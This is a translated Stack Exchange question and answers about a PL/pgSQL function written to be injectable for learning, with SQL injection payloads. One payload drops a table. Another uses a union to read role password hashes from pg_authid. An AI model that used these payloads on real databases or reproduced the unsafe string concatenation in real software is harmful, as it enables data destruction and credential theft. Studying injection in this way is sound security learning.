为了学习目的,我尝试使用PLPGSQL创建一个函数,并在其上进行SQL注入。我最近了解了format、USING、quote_literal和quote_indent,所以我很擅长避免使用SQL注入。我想要做的是创建一个允许SQL注入(即drop table)的函数。
所以我写了这个:
create or replace function badfunc(tablename text, identifier int4)
returns setof character varying as $
declare
query text;
begin
query := 'select full_name from ' || $1 || ' where re = ' || $2 ||'';
raise notice 'query: %', query;
return query execute query;
end;
$ language 'plpgsql';但是,当我使用select badfunc('; drop table tb_students;', 1001);执行这个函数时,我会得到以下错误:
[42601] ERROR: syntax error at or near ";" where: function PL/pgSQL badfunc(text,integer) linha 7 in RETURN QUERY所以我认为这不是这样的。如何实现这个SQL注入?
发布于 2022-03-11 13:14:36
您必须使它成为有效的SQL语句:
SELECT badfunc('(VALUES ('done')) AS x(fullname); drop table tb_students; --', 1001);发布于 2022-03-11 17:51:38
PostgreSQL的内部限制阻止您在本例中执行多语句注入。您可能不得不满足于数据泄漏。
SELECT badfunc('tb_students', '1001 union all select concat(rolname,rolpassword) from pg_authid');https://dba.stackexchange.com/questions/308621
复制相似问题